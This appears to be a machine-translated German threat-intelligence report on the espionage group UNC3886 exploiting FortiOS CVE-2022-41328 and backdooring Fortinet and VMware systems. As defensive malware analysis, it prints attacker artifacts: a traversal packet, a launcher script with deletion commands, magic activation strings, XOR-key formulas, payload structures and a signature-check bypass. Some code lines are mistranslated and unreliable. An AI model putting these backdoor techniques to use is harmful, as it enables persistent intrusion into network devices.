Fortinet Zero

Cyberspionage-Bedrohungsakteure zielen weiterhin auf Technologien ab, die keine Endpoint Detection and Response (EDR)-Lösungen unterstützen, wie Firewalls, IoT-Geräte, Hypervisoren und VPN-Technologien (z. B. Fortinet, SonicWall, Pulse Secure und andere). Mandiant hat im Laufe der Jahre Dutzende Einbrüche bei Verteidigungsindustriestandorten (DIB), Regierungs-, Technologie- und Telekommunikationsorganisationen untersucht, bei denen mutmaßliche China-Nexus-Gruppen Zero-Day-Schwachstellen ausnutzten und benutzerdefinierte Malware einsetzten, um Benutzeranmeldeinformationen zu stehlen und den langfristigen Zugriff aufrechtzuerhalten zu den Opferumgebungen.

Wir beobachten häufig, dass Cyberspionage-Betreiber Zero-Day-Schwachstellen ausnutzen und als ersten Angriffsvektor benutzerdefinierte Malware auf Systemen einsetzen, die dem Internet ausgesetzt sind. In diesem Blogbeitrag beschreiben wir Szenarien, in denen ein mutmaßlicher Bedrohungsakteur im China-Nexus-Bereich wahrscheinlich bereits Zugriff auf die Umgebungen des Opfers hatte und dann Hintertüren auf Fortinet- und VMware-Lösungen einsetzte, um dauerhaften Zugriff auf die Umgebungen aufrechtzuerhalten. Dies beinhaltete die Nutzung einer lokalen Zero-Day-Schwachstelle in FortiOS (CVE-2022-41328) und die Bereitstellung mehrerer benutzerdefinierter Malware-Familien auf Fortinet- und VMware-Systemen. Mandiant veröffentlichte im September 2022 Details zum VMware-Malware-Ökosystem.

Mitte 2022 untersuchte Mandiant in Zusammenarbeit mit Fortinet die Ausnutzung und Bereitstellung von Malware in mehreren Fortinet-Lösungen, darunter FortiGate (Firewall), FortiManager (zentrale Verwaltungslösung) und FortiAnalyzer (Protokollverwaltungs-, Analyse- und Berichtsplattform). Die folgenden Schritte beschreiben im Allgemeinen die Aktionen, die der Bedrohungsakteur durchgeführt hat:

Mandiant führt diese Aktivität auf UNC3886 zurück, eine Gruppe, von der wir vermuten, dass sie eine China-Verbindung hat und mit dem neuartigen VMware ESXi-Hypervisor-Malware-Framework in Verbindung steht, das im September 2022 veröffentlicht wurde. Zum Zeitpunkt der ESXi-Hypervisor-Kompromittierungen beobachtete Mandiant, dass UNC3886 eine direkte Verbindung von FortiGate und FortiManager herstellte Geräte mehrfach an VIRTUALPITA-Hintertüren angeschlossen.

Mandiant vermutete, dass die FortiGate- und FortiManager-Geräte aufgrund der Verbindungen zu VIRTUALPITA von den Fortinet-Management-IP-Adressen kompromittiert wurden. Darüber hinaus konnten die FortiGate-Geräte mit aktiviertem FIPS-Konformitätsmodus (Federal Information Processing Standards) nach einem späteren Neustart nicht gestartet werden. Wenn der FIPS-Modus aktiviert ist, wird eine Prüfsumme des Betriebssystems mit der Prüfsumme eines sauberen Images verglichen. Da das Betriebssystem vom Bedrohungsakteur manipuliert wurde, schlug der Prüfsummenvergleich fehl und die FortiGate-Firewalls konnten aus Sicherheitsgründen nicht gestartet werden. Mit Unterstützung von Fortinet erlangte Mandiant ein forensisches Bild dieser fehlerhaften Geräte und führte so zur Entdeckung der ICMP-Port-Knocking-Hintertür CASTLETAP.

Mehrere Komponenten des Fortinet-Ökosystems wurden von UNC3886 ins Visier genommen, bevor sie seitlich in die VMWare-Infrastruktur verlagert wurden. Diese Komponenten und ihre zugehörigen Versionen zum Zeitpunkt der Kompromittierung sind wie folgt aufgeführt:

Mandiant beobachtete zwei unterschiedliche Angriffslebenszyklen, bei denen der Bedrohungsakteur Fortinet-Technologien missbrauchte, um Netzwerkzugriff herzustellen. Der erste Fall ereignete sich, als der Bedrohungsakteur zunächst Zugriff auf das Fortinet-Ökosystem erlangte, während das FortiManager-Gerät dem Internet ausgesetzt war.

Während dieses Angriffslebenszyklus wurden, wie in Abbildung 1 dargestellt, als legitime API-Aufrufe (THINCRUST) getarnte Hintertüren sowohl auf FortiAnalyzer- als auch auf FortiManager-Geräten eingesetzt. Sobald die Persistenz auf den beiden Geräten hergestellt war, wurden FortiManager-Skripte verwendet, um Hintertüren (CASTLETAP) auf den FortiGate-Geräten bereitzustellen. Mandiant beobachtete SSH-Verbindungen von den Fortinet-Geräten zu den ESXi-Servern, gefolgt von der Installation bösartiger vSphere-Installationspakete, die VIRTUALPITA und enthielten VIRTUALPIE-Hintertüren. Dies ermöglichte dem Bedrohungsakteur dauerhaften Zugriff auf die Hypervisoren und ermöglichte es dem Angreifer, Befehle auf virtuellen Gastmaschinen auszuführen.

Zum Zeitpunkt der Erstellung dieses Beitrags liegen Mandiant keine Hinweise darauf vor, dass eine Zero-Day-Schwachstelle ausgenutzt wird, um sich ersten Zugriff zu verschaffen oder die bösartigen VIBs bereitzustellen. VIRTUALPITA und VIRTUALPIE wurden in einem früheren Mandiant-Blogbeitrag vom September 2022 ausführlicher besprochen.

Der zweite Angriffslebenszyklus ereignete sich, als auf den FortiManager-Geräten Netzwerk-Zugriffskontrolllisten (ACL) eingerichtet wurden, um den externen Zugriff nur auf TCP-Port 541 (FortiGate-zu-FortiManager-Protokoll) zu beschränken. Während dieses Angriffslebenszyklus, wie in Abbildung 2 dargestellt, setzte der Bedrohungsakteur ein Dienstprogramm zur Netzwerkverkehrsumleitung (TABLEFLIP) und eine Reverse-Shell-Backdoor (REPTILE) auf dem FortiManager-Gerät ein, um die neuen ACLs zu umgehen. Mit den vom TABLEFLIP-Dienstprogramm festgelegten Umleitungsregeln konnte der Bedrohungsakteur direkt aus dem Internet auf die REPTILE-Hintertür zugreifen und so weiterhin auf die Umgebung zugreifen.

Die folgenden technischen Details beschreiben den Angriffspfad, den der Bedrohungsakteur eingeschlagen hat, als der FortiManager zum ersten Mal dem Internet ausgesetzt war.

Die Analyse von Mandiant ergab, dass der Bedrohungsakteur bei der ersten Verbindung mit dem FortiManager Python-Backdoor-Code an eine legitime Web-Framework-Datei angehängt hat. Mandiant klassifizierte diese neue Malware-Familie als THINCRUST.

Der Bedrohungsakteur hat die legitime Datei /usr/local/lib/python3.8/proj/util/urls.py so geändert, dass sie einen zusätzlichen bösartigen API-Aufruf, show_device_info, enthält, der in Abbildung 3 zu sehen ist. Dies ermöglichte dem Bedrohungsakteur die Interaktion mit der THINCRUST-Hintertür durch POST-Anfragen an den URI „/p/util/show_device_info“.

Wenn eine POST-Anfrage an die URL „show_device_info“ gesendet wurde, wurde die Anfrage an die Funktion get_device_info in /usr/local/lib/python3.8/proj/util/views.py weitergeleitet. Die Funktion get_device_info enthielt die THINCRUST-Hintertür, die es dem Bedrohungsakteur ermöglichte, Befehle auszuführen, Dateien auf die Festplatte zu schreiben und Dateien von der Festplatte zu lesen, abhängig von den in der POST-Anfrage bereitgestellten Cookies, wie in Abbildung 4 dargestellt.

Die Funktion get_device_info war auf das Vorhandensein von zwei (2) Cookies, FGMGTOKEN und DEVICEID, in den POST-Anfragen angewiesen. Das FGMGTOKEN-Cookie ist mit einem in „views.py“ fest codierten RSA-Schlüssel verschlüsselt und enthielt einen RC4-Schlüssel, der die über das DEVICEID-Cookie empfangenen Befehle entschlüsselte. Das entschlüsselte Ergebnis von DEVICEID war ein JSON-codiertes Wörterbuch mit den Schlüsseln „id“ und „key“. Wie in Tabelle 1 zu sehen ist, bestimmte der „id“-Wert, welche Aktion innerhalb der Hintertür ausgeführt werden sollte, und der „key“-Wert enthielt eine Zeichenfolge, die als Argumente für die ausgeführte Aktion fungierte.

AUSWEIS

Befehl

1

Führen Sie die in „key“ gespeicherte Befehlszeile aus

2

Schreiben Sie den Inhalt der HTTP-Anfrage in die in „key“ gespeicherte Datei. Die Inhalte sind RC4-verschlüsselt

3

Lesen Sie den Inhalt der im „Schlüssel“ gespeicherten Datei und übertragen Sie den Inhalt RC4-verschlüsselt an den Client

Während auf die meisten Dateien in „views.py“ der Dekorator @login_required angewendet wurde [Dekoratoren sind alle Funktionen (Syntax zum Aufrufen des Dekorators: @), die das Verhalten einer anderen Funktion erweitern, ohne den Code explizit zu ändern], wurde die schädliche Funktion get_device_info verwendet Das systemeigene Django-Python-Modul fügt der Funktion einen @csrf_exempt-Dekorator hinzu, wie in Abbildung 5 dargestellt. Dies bedeutet, dass für die erfolgreiche Ausführung der POST-Anfrage an den böswilligen API-Aufruf weder eine Anmeldung noch ein CSRF-Token erforderlich war.

Mandiant stellte fest, dass eine Variante dieses bösartigen API-Aufrufs auch auf einem FortiAnalyzer-Gerät vorhanden war. Während die Backdoor-Funktion in view.py, get_device_info, mit FortiManager identisch war, wurde der API-Aufruf für den Zugriff auf die Backdoor auf dem FortiAnalyzer-Gerät in /p/utils/fortigate_syslog_send geändert, wie in Abbildung 6 dargestellt.

Nachdem mit der THINCRUST-Hintertür eine Persistenz auf den FortiManager- und FortiAnalyzer-Geräten hergestellt wurde, stellte der Bedrohungsakteur FortiManager-Skripte auf mehreren FortiGate-Firewalls bereit. Diese Aktivität wurde im FortiGate-Elog protokolliert, wie in Abbildung 7 dargestellt.

vd="root"type="event"subtype="system"level="notice" logdesc="Ein Skript hochladen und ausführen"user="Fortimanager_Access"ui="fgfmd"msg="Benutzer Fortimanager_Access über fgfmd hochladen und ein Skript ausführen : – OK“

Der Bedrohungsakteur hat diese FortiManager-Skripte vom FortiManager-Gerät gelöscht, bevor sie zur Analyse wiederhergestellt werden konnten. Die Korrelation mehrerer Ereignisprotokolltypen zeigt jedoch, dass die Skripte eine Path-Traversal-Schwachstelle (CVE-2022-41328) ausnutzten. Die Schwachstelle wurde vom Bedrohungsakteur mithilfe des Befehls „execute wireless-controller hs20-icon upload-icon“ ausgenutzt (siehe Abbildung 8). Dieser Befehl ermöglichte es dem Bedrohungsakteur, legitime Dateien in einem normalerweise eingeschränkten Systemverzeichnis zu überschreiben. Normalerweise wird der Befehl „execute wireless-controller hs20-icon upload-icon“ verwendet, um .ico-Dateien (Symboldateien) mithilfe des File Transfer Protocol („FTP“) oder Trivial File Transfer Protocol („TFTP“) von einem Server auf eine FortiGate-Firewall hochzuladen "), wo sie in HotSpot 2.0 Online Sign-Up (OSU)-Portalen verwendet werden können. HotSpot 2.0 ist eine Technologie, die es Geräten ermöglicht, nahtlos zwischen Mobilfunkdaten und öffentlichem WLAN zu wechseln.

Der Befehl „execute wireless-controller hs20-icon upload-icon“ litt jedoch unter zwei Problemen. Der Befehl validierte den Typ der hochgeladenen Datei nicht und war anfällig für einen Directory-Traversal-Exploit, der es einem Bedrohungsakteur mit Superadministratorrechten ermöglichte, eine Datei, die kleiner als 65.535 Byte ist, an einen beliebigen Ort im Dateisystem hochzuladen. Das bedeutet, dass ein Bedrohungsakteur außerhalb der Größenbeschränkungen des Befehls jede legitime Systemdatei auf der FortiGate-Firewall ersetzen könnte.

Die erfolgreiche Ausnutzung der Schwachstelle (CVE-2022-41328) wird in den FortiGate-Elogs nicht protokolliert. Ungefähr zum Zeitpunkt der Ausführung des FortiManager-Skripts zeichneten die Elogs die fehlgeschlagenen Versuche des Bedrohungsakteurs auf, die Systemdatei /bin/lspci mithilfe dieses Exploits zu überschreiben, siehe Abbildung 8.

Fortinet bestätigte, dass die Ausnutzung dieses Befehls vor diesen Ereignissen nicht beobachtet wurde und vergab die Bezeichnung CVE-2022-41328. Fortinet hat den Exploit mithilfe der in den fehlgeschlagenen Befehlsereignissen angezeigten Syntax erfolgreich repliziert.

Weitere unterstützende Hinweise auf versuchte Ausnutzung wurden in FortiGuard-Protokollereignissen mit „file_transfer: TFTP.Server.Buffer.Overflow wiederholt X-mal“ im Nachrichtenfeld gefunden. Diese Ereignisse zeigten Verbindungen von den FortiGate-Firewalls zum FortiAnalyzer-Gerät, wobei der Paketinhalt die Verzeichnisdurchlaufzeichenfolge lscpi enthielt, wie in Abbildung 9 dargestellt. In einem ähnlichen Ereignis, bei dem es sich um eine andere Binärdatei handelt, wurde auch auf eine Verzeichnisdurchlaufzeichenfolge mit dem Dateinamenknoten verwiesen im /bin/-Verzeichnis eines FortiGate 6.2.7-Geräts, aber Mandiant beobachtete nur, dass der Bedrohungsakteur die lscpi-Binärdatei erfolgreich ersetzte.

PFBBVFRFUk5TPiAAATsuLi88L1BBVFRFUk5TPgo8VVJJPiA8L1VSST4KPEhFQURFUj4gPC9IRUFERVI+CjxCT0RZPiA8L0JPRFk+CjxQQUNLRVQ+IAABLi4vLi4vLi4vLi4vLi4vLi4vYmluL2xzcGNpAG9jdGV0ADwvUE FDS0VUPg==

Basis 64 entschlüsselt

..../../../../../../bin/lspci.octet.

Mandiant überprüfte Dateilisten mehrerer FortiGate-Firewalls auf der Suche nach geänderten Versionen von /bin/lspci, basierend auf den fehlgeschlagenen Befehlen, die in den FortiGate-Protokollen angezeigt wurden. Insgesamt wurden zwei Varianten von /bin/lspci identifiziert; eine eigenständige Version der Binärdatei und eine Version, die mit /bin/sysctl verknüpft war. Fortinet hat bestätigt, dass /bin/lspci immer eine eigenständige Binärdatei sein sollte.

Dateilisteneinträge für /bin/lspci und /bin/sysctl auf den kompromittierten FortiGate-Firewalls enthielten ähnliche Zeitstempel, die nicht mit anderen legitimen Binärdateien auf den FortiGate-Maschinen übereinstimmten. Darüber hinaus war die Dateigröße für /bin/sysctl auf der kompromittierten FortiGate-Firewall viel größer als auf nicht kompromittierten Geräten gemeldet.

Unter normalen Umständen wird der Befehl „Diagnose Hardware lscpi“ verwendet, um PCIe-Geräte aufzulisten, die mit der FortiGate-Firewall verbunden sind. Sobald der Bedrohungsakteur jedoch die legitime lspci-Binärdatei durch einen Symlink ersetzt hat, könnte der Diagnosebefehl stattdessen die sysctl-Datei ausführen, die der Bedrohungsakteur geändert hat .

Die Dateiauflistungsausschnitte in Abbildung 10 und Abbildung 11 verdeutlichen die Unterschiede zwischen den ursprünglichen und modifizierten Versionen von /bin/lspci und /bin/sysctl, die auf den FortiGate-Firewalls vorhanden sind.

COMPROMISED-FGT101F # fnsysctl ls -la /bin

...

lrwxrwxrwx 1 root root 9. Okt. 18 13:09 lldptx -> /bin/init

lrwxrwxrwx 1 root root 9. Okt. 18 13:09 lnkmtd -> /bin/init

lrwxrwxrwx 1 root root 11. Okt. 19 05:11 lspci -> /bin/sysctl

lrwxrwxrwx 1 root root 9. Okt. 18 13:09 lted -> /bin/init

lrwxrwxrwx 1 root root 9. Okt. 18 13:09 memuploadd -> /bin/init

...

-rwxr-xr-x 1 root root 1478216 19. Okt. 05:11 sysctl

...

NON-COMPROMISED-FGT101F # fnsysctl ls -la /bin

...

lrwxrwxrwx 1 0 0 Fr Sep 2 12:07:55 2022 9 lldptx -> /bin/init

lrwxrwxrwx 1 0 0 Kostenlos 2. September 12:07:55 2022 9 lnkmtd -> /bin/init

-rwxr-xr-x 1 0 0 Fr Sep 2 12:07:55 2022 131736 lspci

lrwxrwxrwx 1 0 0 Kostenlos 2. September 12:07:55 2022 9 lted -> /bin/init

lrwxrwxrwx 1 0 0 Kostenlos 2. September 12:07:55 2022 9 memuuploadd -> /bin/init

...

-rwxr-xr-x 1 0 0 Fr Sep 2 12:07:55 2022 251480 sysctl

...

Zusätzlich zu den Unterschieden in der Änderungszeit und -größe wurden in der Ausgabe des Dateiauflistungsbefehls fnsysctl ls -l /bin mehrere Felder in unterschiedlichen Formaten und in unterschiedlicher Reihenfolge angezeigt. Dies liegt wahrscheinlich daran, dass der Bedrohungsakteur /bin/sysctl ersetzt und damit die Shell-Funktionalität der FortiGate-Firewall ändert. Am FortiOS-Dateisystem vorgenommene Änderungen sind nicht dauerhaft, sodass die Dateien nicht zur Analyse wiederhergestellt werden konnten.

Standardmäßig verfügen Fortinet-Geräte, auf denen FortiOS ausgeführt wird, über ein Archiv auf der Festplatte mit der Bezeichnung rootfs.gz in der Partition /data/. Beim Booten wird diese Datei als Root-Dateisystem gemountet. Das bedeutet, dass bei Änderungen am gemounteten Image die Änderungen nicht dauerhaft bleiben, es sei denn, sie werden in das rootfs.gz-Archiv geschrieben. FortiGate-Firewalls unterstützen den Export von Dateien aus dem gemounteten Dateisystem zur Laufzeit nicht. Da die an /bin/lspci und /bin/sysctl vorgenommenen Änderungen nicht in das rootfs.gz-Archiv geschrieben wurden, wurden sie nicht dauerhaft installiert und konnten nicht weiter analysiert werden.

Mandiant arbeitete mit Fortinet zusammen, um ein forensisches Bild der kompromittierten FortiGate-Firewalls zu erhalten und den erwarteten Inhalt der Geräte besser zu identifizieren. Beim Vergleich des forensischen Bilds der kompromittierten FortiGate-Firewall mit einer bekanntermaßen fehlerfreien Version identifizierte Fortinet eine trojanisierte Firmware, die eine persistente Hintertür enthielt. Mandiant bezeichnet die Hintertür als eine neue Malware-Familie namens CASTLETAP.

Die Analyse der FortiGate-Firewalls ergab eine zusätzliche schädliche Datei /bin/fgfm. Die Analyse von /bin/fgfm ergab, dass es sich um eine passive Hintertür namens CASTLETAP handelte, die auf ein spezielles ICMP-Paket zur Aktivierung wartete. Der Bedrohungsakteur hat die Datei wahrscheinlich „fgfm“ genannt, um die Hintertür als legitimen Dienst „fgfmd“ zu tarnen, der die Kommunikation zwischen den FortiManager- und FortiGate-Firewalls erleichtert.

Nach der Ausführung erstellte CASTLETAP einen rohen Promiscuous-Socket, um den Netzwerkverkehr aufzuspüren. Anschließend filterte und dekodierte CASTLETAP eine magische 9-Byte-Aktivierungszeichenfolge in der Nutzlast eines ICMP-Echo-Anforderungspakets mit XOR. Tabelle 2 zeigt die von CASTLETAP interpretierten magischen Zeichenfolgen und die daraus resultierenden Aktionen.

Zauberschnur

Beschreibung

1qaz@WSXa

Analysieren Sie C2-Informationen aus der ICMP-Nutzlast und stellen Sie über SSL eine Verbindung zu dieser her.

hpaVAj2FJ

Tötet den CASTLETAP-Prozess.

Um die C2-Informationen im ICMP-Paket zu entschlüsseln, wurde ein Einzelbyte-XOR-Schlüssel aus dem Epoch-Datumsstempel abgeleitet, um die Nutzdaten zu entschlüsseln. Dies bedeutete, dass sich der Kodierungsstandard täglich änderte. Abbildung 12 zeigt die Formel, die zur Berechnung des XOR-Schlüssels verwendet wurde.

((Jahr + 1900 + Monat * (Jahr + 1900)) * Datum) % 255

Tabelle 3 definiert die Nutzlaststruktur des von CASTLETAP erwarteten ICMP-Pakets.

Byte-Index/Bereich

Beschreibung des Nutzlastabschnitts

<0x00-0x01>

<0x01-0x02>

<0x02-0x0c>

<9-Byte-Magic-String + Null-Byte>

<0x0c-0x10>

<0x10-0x15>

Als die C2-IP-Adresse und der Port aus dem Aktivierungspaket analysiert wurden, initiierte CASTLETAP eine Verbindung zum C2 über einen SSL-Socket. Sobald diese Verbindung hergestellt war, erwartete CASTLETAP, dass der C2-Server einen Handshake mit der in Abbildung 13 gezeigten 16-Byte-Sequenz initiierte und als Antwort dieselbe Sequenz zurückgab.

0x58, 0x90, 0xAE, 0x86, 0xF1, 0xB9, 0x1C, 0xF6, 0x29, 0x83, 0x95, 0x71, 0x1D, 0xDE, 0x58, 0x0D

Sobald CASTLETAP mit dem C2 verbunden ist, kann es mehrere Arten von Befehlen über SSL akzeptieren, wie in Tabelle 4 dargestellt.

Befehl

Beschreibung

0x1

Datei hochladen (zum Opfer)

0x2

Datei herunterladen (vom Opfer)

0x3

Spawnen Sie eine Busybox-basierte Befehls-Shell, andernfalls greifen Sie auf eine normale Befehls-Shell zurück.

0x4

Empfangen Sie weiterhin

0x5

Komplett erhalten

Wenn ein Befehl erfolgreich empfangen wurde, gab die Hintertür die Sequenz „;7(Zu9YTsA7qQ#vw“ als Bestätigungstoken zurück; dieselbe Zeichenfolge wurde auch gesendet, um die Beendigung der Sitzung zu signalisieren.

Nachdem CASTLETAP auf den FortiGate-Firewalls bereitgestellt wurde, stellte der Bedrohungsakteur eine Verbindung zu ESXi- und vCenter-Maschinen her. Der Bedrohungsakteur setzte VIRTUALPITA und VIRTUALPIE ein, um Persistenz herzustellen und einen kontinuierlichen Zugriff auf die Hypervisoren und Gastmaschinen zu ermöglichen. Dies wird ausführlicher im Blogbeitrag „Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors“ beschrieben.

Die folgenden technischen Details beschreiben den Angriffspfad des Bedrohungsakteurs, bei dem der FortiManager Netzwerk-Zugriffskontrolllisten (ACL) eingerichtet hatte, um den externen Zugriff einzuschränken.

Als ACLs auf dem FortiManager-Gerät implementiert wurden, verlor der Bedrohungsakteur den direkten öffentlichen Zugriff auf das Gerät. Um wieder Zugriff auf den FortiManager zu erhalten, wechselte der Bedrohungsakteur von einer mit CASTLETAP kompromittierten FortiGate-Firewall. Nach erfolgreicher Wiederherstellung der Verbindung stellte der Bedrohungsakteur dann die folgenden drei (3) schädlichen Dateien (siehe Tabelle 5) im FortiManager bereit.

Malware-Familie

Dateipfad

Beschreibung

N / A

/bin/support

Startet /bin/auth und /bin/klogd und löscht die beiden Dateien zusammen mit /bin/support von der Festplatte.

TABLEFLIP

/bin/auth

Ein passives Dienstprogramm zum Einrichten der Netzwerkverkehrsumleitung von einer bestimmten IP-Adresse, die für den FortiManager auf TCP-Port 541 bestimmt ist, zu einem anderen angegebenen Port.

REPTIL

/bin/klogd

Ein Backdoor-Dienstprogramm, das auf ein spezielles Paket zur Aktivierung wartet.

Die Datei /bin/support (MD5: 9ce2459168cf4b5af494776a70e0feda) diente als Startskript zum Ausführen von /bin/klogd (REPTILE-Variante) und /bin/auth (TABLEFLIP). Der Angreifer hat die Startdatei /etc/init.d/localnet so geändert, dass sie die Zeile „nohup /bin/support &“ ausführt, sodass das Skript bei jedem Neustart des Systems ausgeführt wird. Da es sich bei dem laufenden FortiOS-Dateisystem um eine kurzlebige Kopie des Archivs rootfs.gz handelte, würden die Dateien nach dem Laden in den Speicher aus der kurzlebigen Kopie gelöscht und im Archiv rootfs.gz verbleiben, einer Datei, auf die Benutzer ohne Forensik nicht zugreifen könnten Bild. Der Inhalt von /bin/support ist in Abbildung 14 zu sehen.

#!/bin/bash

#cp /bin/sh /bin/top

30 schlafen

/bin/klogd

/bin/auth

rm -rf /bin/klogd

rm -rf /nohup.out

rm -rf /bin/support

Um einen kontinuierlichen Zugriff direkt aus dem Internet zu ermöglichen, implementierte der Bedrohungsakteur TABLEFLIP (MD5: b6e92149efaf78e9ce7552297505b9d5), ein passives Dienstprogramm zur Verkehrsumleitung, das alle aktiven Schnittstellen auf spezielle Befehlspakete überwacht. Mit diesem Dienstprogramm und unabhängig von den vorhandenen ACLs könnte der Bedrohungsakteur eine direkte Verbindung zum FortiManager herstellen, wie in Abbildung 15 dargestellt.

TABLEFLIP wurde so konfiguriert, dass es alle aktiven Schnittstellen auf TCP-Pakete überwacht und am Anfang der TCP-Nutzlast nach dem folgenden magischen Paket sucht (siehe Abbildung 16), nach Paketen, die für Port TCP 541 bestimmt sind.

17 03 01 01 D8 54 2F 31

Wenn die magische Zahl gefunden wurde, extrahierte die Malware einen XOR-Schlüssel aus dem Offset 0xB der TCP-Nutzlast. Dieser Schlüssel wurde als Ausgangspunkt für die XOR-basierte sequentielle Entschlüsselung verwendet. Der TCP-Nutzlast-Offset ab 0xC wurde mit diesem Schema entschlüsselt. Abbildung 17 zeigt den Aufbau der Nutzlast.

struct _payload

{

_DWORD magic_dword1;

_DWORD magic_dword2;

_BYTE unbenutzt[3];

_BYTE xor_key;

_DWORD-Befehl;

_DWORD ip;

_WORD-Port;

};

Anschließend versuchte die Malware, den Befehl, die IP und den Port aus der Nutzlast zu extrahieren. Tabelle 6 beschreibt den Befehl und die durchgeführten Aktionen, wenn ein Befehl erkannt wurde.

Befehl

Beschreibung

0xFFFEFDFC

Aktivieren Sie die Umleitung für Datenverkehr, wobei die Quell-IP mit der extrahierten IP und dem Port 541 mit dem extrahierten Zielport übereinstimmt

0xFCFDFEFF

Deaktivieren Sie die Umleitung für Datenverkehr, dessen Quell-IP mit der extrahierten IP und dem angegebenen Zielport übereinstimmt

Die Verkehrsumleitung wurde durch Hinzufügen von iptables-Regeln auf dem FortiManager-System erreicht, wie in Abbildung 18 dargestellt. Dabei wurden die Quell-IP und der Umleitungsport im Befehlspaket angegeben. iptables wurde ausgeführt, um zu prüfen, ob bereits eine PREROUTING-Regel für diese IP- und Portkombination vorhanden ist. Wenn die Kombination nicht gefunden wurde, wurde eine neue Umleitungsregel in der PREROUTING-Kette hinzugefügt. Die Regeln der PREROUTING-Kette werden sofort verarbeitet, sobald das Paket an einer Schnittstelle empfangen wird.

Bei der Aufgabe, die Verkehrsumleitung zu löschen, nutzte TABLEFLIP den grep-Befehl, um alle Zeilen in der PREROUTING-Kette zu filtern, die die IP-Adresse und den Umleitungsport von Interesse enthielten, und erfasste die entsprechenden Regel-IDs mit awk. Diese IDs wurden mit xargs an iptables zurückgegeben, um sie aus der PREROUTING-Kette zu entfernen, wie in Abbildung 19 dargestellt.

Um dauerhaften Zugriff auf das FortiManager-Gerät zu erreichen, hat der Bedrohungsakteur eine Hintertür mit dem Dateinamen /bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d) bereitgestellt, die Mandiant als REPTILE bezeichnet, eine Variante eines öffentlich verfügbaren Linux-Kernelmoduls (LKM)-Rootkits. Mithilfe von TABLEFLIP konnte der Bedrohungsakteur den Datenverkehr erfolgreich weiterleiten und mithilfe der iptables-Datenverkehrsumleitungsregeln auf die REPTILE-Hintertür zugreifen.

Nach der Ausführung erstellte REPTILE einen Paket-Socket zum Empfang von OSI-Layer-2-Paketen. Wenn ein Paket empfangen wurde, führte die Hintertür die im Pseudocode in Abbildung 20 dargestellte Prüfung durch, um festzustellen, ob eine magische Zeichenfolge vorhanden war.

single_byte_xor_key = (Monat * Jahr) * Tag % 255

index = 2 * data_received_on_port_8[7];

data_to_decode_ptr = *((char *)&data[index + 12] + 1)

ich = 0

while ( i < strlen(data_to_decode) ) decoded_data[i] = data_to_decode_ptr[i++] ^ single_byte_xor_key;

strncmp(&decoded_data, "mznCvqSBo", 9)

Tabelle 7 zeigt die von REPTILE interpretierten magischen Saiten und die daraus resultierenden Aktionen.

Zauberschnur

Beschreibung

mznCvqSBo

Analysieren Sie C2-Informationen aus dem OSI-Layer-2-Paket und stellen Sie über SSL eine Verbindung zu diesem her.

hpaVAj2FJ

Tötet den REPTILE-Prozess (wird nur gesucht, wenn die erste magische Zeichenfolge nicht gefunden wurde)

Ähnlich wie die von CASTLETAP zum Dekodieren der C2-Informationen verwendete Methode leitete REPTILE einen Einzelbyte-XOR-Schlüssel aus dem Epoch-Datumsstempel ab, um Nutzdaten zu entschlüsseln, was dazu führte, dass sich der Verschlüsselungsschlüssel täglich änderte. Abbildung 21 zeigt die Formel, die zur Berechnung des XOR-Schlüssels verwendet wurde.

(Monat * (Jahr + 1900)) * Tag % 255

Wenn die magische Zeichenfolge „mznCvqSBo“ gefunden wurde, wurde eine Reverse-Shell mit der C2-IP-Adresse und dem Zielport erstellt, die aus dem Rest der Nutzlast des Aktivierungspakets extrahiert wurden. Wenn die erste magische Zeichenfolge nicht vorhanden war, suchte die Binärdatei nach der zweiten magischen Zeichenfolge „hpaVAj2FJ“. Wenn dieser zweite magische String gefunden wurde, wird der REPTILE-Prozess beendet. Wenn keine magischen Strings gefunden wurden, wartete die Hintertür weiterhin auf andere Verbindungen.

Mandiant analysierte den Systemspeicher des FortiManagers und identifizierte Bedrohungsakteurbefehle, mit denen bestimmte Ereignisse, die die IP-Adresse des Bedrohungsakteurs enthielten, aus mehreren Protokollquellen gelöscht wurden. Die in Abbildung 22 gezeigten Befehle wurden vom Bedrohungsakteur verwendet, um Protokolleinträge zu entfernen, die die IP-Adresse enthalten, die für die Verbindung zur THINCRUST-Hintertür verwendet wurde.

Um die beim Booten am Dateisystem durchgeführten Überprüfungen der digitalen Signatur zu überspringen, fügte der Bedrohungsakteur den in Abbildung 23 gezeigten Befehl zur Startkonfiguration /etc/init.d/localnet im rootfs.gz-Archiv von FortiManager und FortiAnalyzer hinzu Geräte.

Beim Vergleich des kompromittierten /bin/smit (a388ebaef45add5da503e4bf2b9da546) mit einer sauberen Version von FortiManager und FortiAnalyzer zeigte sich, dass die geänderte Binärdatei einen Unterschied um ein einziges Byte aufwies. Der geänderte Speicherort in /bin/smit wird ausgeführt, wenn das Mount-Befehlszeilenargument beim Systemstart angegeben wird. Normalerweise würde die Mount-Funktion OpenSSL 1.1.0-Überprüfungen der digitalen Signatur an den Dateien in Abbildung 24 anhand von /data/.fmg_sign durchführen, aber diese Änderung änderte eine bedingte Sprunganweisung in eine bedingungslose Sprunganweisung, die normalerweise durchgeführte Überprüfungen der digitalen Signatur immer übersprang auf den Systemdateien.

/data/extlinux.sys

/data/extlinux.conf

/data/boot.msg

/data/vmlinuz

/data/rootfse-fe

Da der Mount-Befehl beim Systemstart vor /etc/init.d/localnet ausgeführt wird, überschreibt der dd-Befehl das 22.866. Byte von /bin/smit mit dem Zeichen „t“ und setzt die Binärdatei in einen Zustand zurück, der so aussieht Es wurde nie manipuliert, selbst wenn die Datei gehasht wurde.

UNC3886 ist eine fortschrittliche Cyber-Spionagegruppe mit einzigartigen Fähigkeiten hinsichtlich der Art und Weise, wie sie im Netzwerk agiert, sowie der Tools, die sie in ihren Kampagnen verwendet. Es wurde beobachtet, dass UNC3886 auf Firewall- und Virtualisierungstechnologien abzielt, denen EDR-Unterstützung fehlt. Ihre Fähigkeit, Firewall-Firmware zu manipulieren und einen Zero-Day-Angriff auszunutzen, zeigt, dass sie ein tieferes Verständnis dieser Technologien erlangt haben. UNC3886 hat öffentlich verfügbare Malware modifiziert, die speziell auf *nix-Betriebssysteme abzielt.

Ein weiterer Bedrohungscluster, der nichts mit UNC3886 zu tun hat und vermutlich aus China stammt, wurde kürzlich beobachtet, als er auf Zero-Day-Schwachstellen in Fortinet abzielte, wie Mandiant Mitte Januar 2023 berichtete. Mandiant sammelt weiterhin Beweise und identifiziert Überschneidungen zwischen UNC3886 und anderen zugeordneten Gruppen zur chinesischen APT.

